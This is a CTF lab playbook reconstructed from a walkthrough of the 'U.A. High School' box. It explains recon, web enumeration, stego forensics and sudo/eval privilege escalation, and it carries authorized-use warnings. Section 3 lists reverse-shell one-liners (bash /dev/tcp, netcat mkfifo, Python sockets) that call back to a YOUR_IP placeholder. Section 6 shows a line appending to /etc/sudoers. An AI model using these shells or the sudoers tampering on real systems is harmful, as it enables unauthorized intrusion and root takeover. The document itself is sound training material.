

CTF COMMAND PLAYBOOK

A Command-by-Command Learning Reference

Built from the U.A. High School walkthrough — recon → web exploitation → stego/forensics → privilege escalation

AUTHORIZED USE ONLY — Every command here is for the CTF/lab machine you are explicitly permitted to test. Replace TARGET_IP with your assigned address. Running these against systems you do not own or have written permission to test is illegal.

0 How to Use This Playbook

This document walks the full attack chain of the U.A. High School box one phase at a time. For every command you get three things: what it does, why it was the right call at that moment, and how to reuse it in your next CTF. The quick-reference tables at the end let you copy commands fast during a live competition.

Phase	Goal	Key tools used
1. Recon	Find open ports, services, versions	nmap
2. Web enum	Find hidden web paths & files	gobuster
3. Initial access	Get a shell via command injection	browser, reverse shell
4. Forensics / stego	Repair a broken image, extract hidden data	file, cat, hex editor, steghide
5. User access	Log in with recovered creds, grab user flag	ssh / login, cat
6. Privilege escalation	Abuse sudo + eval to become root	sudo -l, feedback.sh, sudo su

1 Reconnaissance — Mapping the Target

Recon answers one question before you touch anything: what is actually running on this machine? You cannot exploit a service you do not know exists, so this is always step one.

```
$ nmap -A -T4 TARGET_IP
```

What each piece does

Flag	Meaning	Why it matters
nmap	Network Mapper — the scanner itself	Industry-standard tool for discovering hosts and services
-A	Aggressive: OS detection, version detection, script scan, traceroute	One flag gives you service versions — the fastest route to known CVEs

-T4	Timing template 4 (fast)	Speeds the scan on a reliable lab network; drop to -T2 if you need to be quiet
TARGET_IP	The machine you are scanning	Always your assigned CTF address

Why we used it here

The aggressive scan exposed the web service that became our entry point. It also surfaced SSH host keys — note that those identify the SSH server itself, they are NOT user login keys, so they gave no direct access. Recognising that distinction stops you wasting time.

Reuse it next time

Situation	Command to run
First look at any box	<code>nmap -A -T4 TARGET_IP</code>
Scan ALL 65535 ports (slower, thorough)	<code>nmap -p- -T4 TARGET_IP</code>
Deep version + default scripts on found ports	<code>nmap -sC -sV -p22,80,443 TARGET_IP</code>
Faster initial sweep then targeted follow-up	<code>nmap -F TARGET_IP</code> then <code>nmap -A -p<ports> TARGET_IP</code>
Scan UDP (often forgotten)	<code>sudo nmap -sU --top-ports 20 TARGET_IP</code>

2 Web Enumeration — Finding Hidden Paths

A web server rarely links to everything it hosts. Directory brute-forcing requests thousands of common names and keeps the ones that exist, revealing admin panels, upload folders, backups and source files the site never advertises.

```
$ gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt
```

What each piece does

Part	Meaning	Why it matters
gobuster	Fast directory/file brute-forcer	Written in Go — much faster than older single-threaded tools
dir	Directory enumeration mode	Tells gobuster to brute-force paths (it also has dns/vhost modes)
-u http://TARGET_IP	Target URL	The base address every wordlist entry is appended to
-w ../common.txt	Wordlist of names to try	The quality of your wordlist decides what you find

Why we used it here

Gobuster mapped the site structure and pointed us at the assets area — which turned out to hold more than plain images, plus PHP application files. That assets folder is where the whole exploitation chain began.

Reuse it next time

Goal	Command / flag to add
Standard directory scan	<code>gobuster dir -u http://TARGET_IP -w <wordlist></code>
Also test file extensions	<code>add -x php,txt,html,bak</code>
Bigger wordlist (more coverage)	<code>-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</code>
More threads (faster)	<code>add -t 50</code>
Hide noise by status code	<code>add -b 403,404</code>
Alternatives to know	<code>feroxbuster, ffuf, dirsearch</code>

3 Initial Access — Command Injection & Reverse Shell

A PHP input on the site passed user data into a system command without sanitising it. That is command injection: you append your own command to the expected one and the server runs it. We used it to call back a reverse shell, landing us on the box as the web-server account `www-data`.

Confirm who you are the moment you land

```
$ whoami
$ id
```

Command	What it tells you	Why run it first
<code>whoami</code>	The username you are running as	Confirms the shell works and shows your privilege starting point
<code>id</code>	UID, GID and all group memberships	Groups (e.g. <code>docker</code> , <code>lxd</code> , <code>sudo</code>) are frequent privesc routes

Reverse-shell building blocks for next time

Note: the exact injection payload from this box was not preserved in the notes, so none is invented here. These are the standard, widely-documented reverse-shell one-liners to try once you have command execution:

Technique	Typical one-liner (listener: <code>nc -lvnp 4444</code> on your box)
Bash	<code>bash -i >& /dev/tcp/YOUR_IP/4444 0>&1</code>
Netcat (mkfifo)	<code>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f sh -i 2>&1 nc YOUR_IP 4444 >/tmp/f</code>
Python	<code>python3 -c 'import</code>

	socket,os,pty;s=socket.socket();s.connect(("YOUR_IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")
Upgrade a dumb shell	python3 -c 'import pty;pty.spawn("/bin/bash")' then Ctrl-Z, stty raw -echo;fg

Lesson

Command injection exists because untrusted input reached a shell. The same root cause — unsanitised input hitting an interpreter — comes back at the privilege-escalation stage with eval. Spotting that pattern is the single most transferable skill in this box.

4 Forensics & Steganography — The Broken Image

Inside assets were two images. one-for-all.jpg looked corrupted. In CTFs a "broken" file is almost always a clue, not an accident — the real file type is being hidden behind a wrong extension or a damaged header.

```
$ ls -la
$ file one-for-all.jpg
$ cat one-for-all.jpg
```

Command	What it does	Why it was used
<code>ls -la</code>	Lists all files (incl. hidden) with sizes, owners, permissions	Reveals hidden dotfiles and spots unusually sized files
<code>file one-for-all.jpg</code>	Identifies the true type from magic bytes, not the extension	Proved the .jpg was not really a JPEG
<code>cat one-for-all.jpg</code>	Dumps raw bytes to the terminal	Showed PNG-related data inside a file named .jpg

The key idea: magic bytes

Every file format starts with a signature. If the header does not match the extension, the file has been tampered with. Memorise these — they come up constantly:

Format	Hex signature (first bytes)	ASCII
PNG	89 50 4E 47 0D 0A 1A 0A	.PNG....
JPEG	FF D8 FF	ÿØÿ
GIF	47 49 46 38	GIF8
PDF	25 50 44 46	%PDF
ZIP / Office	50 4B 03 04	PK..

Repairing the header

A hex editor was used to fix the file signature so the image became a valid PNG that tools could process. The exact offsets from the original run were not recorded, so they are left as a placeholder rather than guessed. Tools and commands you would use:

Tool / command	Purpose
<code>xxd one-for-all.jpg head</code>	View the current header bytes to compare against the correct signature
<code>hexedit / ghex / bless</code>	Interactive hex editors to overwrite the broken signature bytes
<code>xxd -r</code> (from an edited hex dump)	Rebuild a binary file from a corrected hex dump
<code>exiftool one-for-all.jpg</code>	Read metadata that often leaks the real type or hidden comments
<code>binwalk one-for-all.jpg</code>	Detect and carve out files embedded inside the image

Extracting the hidden content

Once it was a valid PNG, the image hid encrypted content that needed a key. The extracted material included `users.txt`, and a key was recovered:

```
$ cat users.txt
# recovered key:
$ all might forever
```

That key unlocked the protected image/content, which revealed credentials for the `deku` user, and a separate `creds.txt` held material for the next stage. This is classic steghide / passphrase-protected steganography:

Command	What it does
<code>steghide extract -sf image.png</code>	Extract data hidden by steghide (prompts for the passphrase/key)
<code>steghide info image.png</code>	Show whether a file has embedded data
<code>zsteg image.png</code>	Detect LSB steganography in PNG/BMP files
<code>strings image.png less</code>	Pull readable text straight out of the binary
<code>cat users.txt</code>	Read an extracted text file (here it held the next key)

5 User Access — First Flag

The recovered `deku` credentials gave authenticated user access (via the login service, typically SSH). Confirm your new identity, then collect the user flag.

```
$ whoami
$ id
$ cat user.txt
```

Command	Why at this step
<code>whoami / id</code>	Confirm you are now deku, not www-data — a real privilege jump
<code>cat user.txt</code>	Read the first flag (user flags live in the user's home directory)
<code>ssh deku@TARGET_IP</code>	Typical way to use recovered credentials for a stable session

Reaching deku is not the end — still no root. That is the cue to start local privilege-escalation enumeration.

6 Privilege Escalation — sudo + eval to Root

Step 1 — Enumerate sudo rights

```
$ sudo -l
```

`sudo -l` lists exactly what the current user may run with sudo. It is the first thing to check after getting any user shell, because a single misconfigured entry can hand you root. Here it showed:

```
$ deku ALL=(ALL) NOPASSWD: /opt/NewComponent/feedback.sh
```

Part of the entry	Meaning
deku	The user the rule applies to
ALL=(ALL)	May run it as any user, including root
NOPASSWD	No password required — runs silently with elevated rights
/opt/NewComponent/feedback.sh	The specific script allowed — our escalation target

Step 2 — Analyse the vulnerable script

`feedback.sh` prompted for input, applied a character blacklist, then passed the input to `eval`:

```
$ read feedback
$ eval "echo $feedback"
```

`eval` is the flaw. It takes a string and re-parses it as shell code, so your input is executed, not just printed. A blacklist of a few characters cannot cover everything the shell can parse — the same unsanitised-input-meets-interpreter pattern from the web command injection, now running as root.

Concept	Why it is dangerous
<code>eval "..."</code>	Re-evaluates the string as a command — user input becomes executable code
Blacklist filtering	Fragile: block <code>;</code> and the attacker uses <code>\$()</code> , newlines, <code> </code> , <code>&&</code> , etc.
Running via <code>sudo NOPASSWD</code>	Any code <code>eval</code> runs, runs as root

Step 3 — Escalate

The script was abused to append a rule to the sudoers file giving deku full sudo rights. The note recorded was:

```
$ deku ALL=NOPASSWD: ALL >> /etc/sudoers
```

(This is the resulting effect on sudoers, not the literal feedback.sh input — in a formal report always separate the input you typed from the command eval actually executed.) With the new rule in place, a root shell was taken:

```
$ sudo su
$ whoami
```

Command	What it achieves
<code>... >> /etc/sudoers</code>	Appends a rule granting the user unrestricted sudo
<code>sudo su</code>	Switches to a full root shell using the new rights
<code>whoami</code>	Confirms the identity is now root

Privesc enumeration checklist for next time

Check	Command
Sudo rights	<code>sudo -l</code>
SUID binaries	<code>find / -perm -4000 -type f 2>/dev/null</code>
Writable files owned by root	<code>find / -writable -type f 2>/dev/null grep -v /proc</code>
Cron jobs	<code>cat /etc/crontab ; ls -la /etc/cron.*</code>
Kernel / OS version (known exploits)	<code>uname -a ; cat /etc/os-release</code>
Automated enumeration	<code>linpeas.sh</code> ; also check GTFEBins for any allowed binary

7 Root Flag

With root obtained, grab the second flag from root's home directory.

```
$ cd /root
$ ls -la
$ cat /root/root.txt
```

Command	Purpose
<code>cd /root</code>	Move into root's home (only reachable once you are root)
<code>ls -la</code>	List everything, including hidden files

```
cat /root/root.txt
```

Read the final flag

8 Master Command Reference (Copy-Paste)

Every command from the box in attack order — keep this open during a live CTF.

#	Command	Phase / purpose
1	<code>nmap -A -T4 TARGET_IP</code>	Recon — services & versions
2	<code>gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt</code>	Web enum — hidden paths
3	<code>whoami ; id</code>	Confirm shell & privileges
4	<code>ls -la</code>	List files incl. hidden
5	<code>file one-for-all.jpg</code>	Check true file type
6	<code>cat one-for-all.jpg</code>	Inspect raw bytes
7	<code>cat users.txt</code>	Read extracted key
8	<code>sudo -l</code>	Enumerate sudo rights
9	<code>sudo su</code>	Root shell after privesc
10	<code>cat /root/root.txt</code>	Read root flag

9 Your Repeatable CTF Methodology

The real takeaway is the order of operations. Follow this loop on any box:

Stage	Ask yourself	Go-to commands
Recon	What is running?	<code>nmap -A -T4 / nmap -p-</code>
Enumerate each service	What can I interact with?	<code>gobuster, nikto, browser, enum scripts</code>
Find the foothold	Where does my input reach code?	<code>injection, upload, known CVE</code>
Stabilise	Who am I and where?	<code>whoami, id, shell upgrade</code>
Loot & pivot	What secrets are lying around?	<code>file, cat, strings, steghide, find</code>
Escalate	What am I allowed to abuse?	<code>sudo -l, SUID find, cron, GTF0Bins</code>
Document	Can I reproduce this exactly?	Save every command + payload to history

10 Lessons Learned

- A file extension is a label, not proof — always verify the real type with `file` and magic bytes.
- SSH host keys identify a server; they are not user private keys and do not grant login.
- Directory enumeration exposes attack surface the site never links to — always run it.

- eval with untrusted input is a critical flaw; the same input-to-interpreter pattern appears in both web injection and shell scripts.
- Blacklist filtering is fragile — shells have too many syntax features to block by hand; allowlist instead.
- sudo -l is the highest-value first move after getting any user shell.
- Document exact commands and payloads as you go — a report is only useful if it is reproducible.

Reconstructed from the U.A. High School CTF walkthrough for learning and future reference. Where an exact original command or payload was not preserved, standard documented equivalents are shown and clearly marked — nothing has been fabricated. Use only on systems you are authorised to test.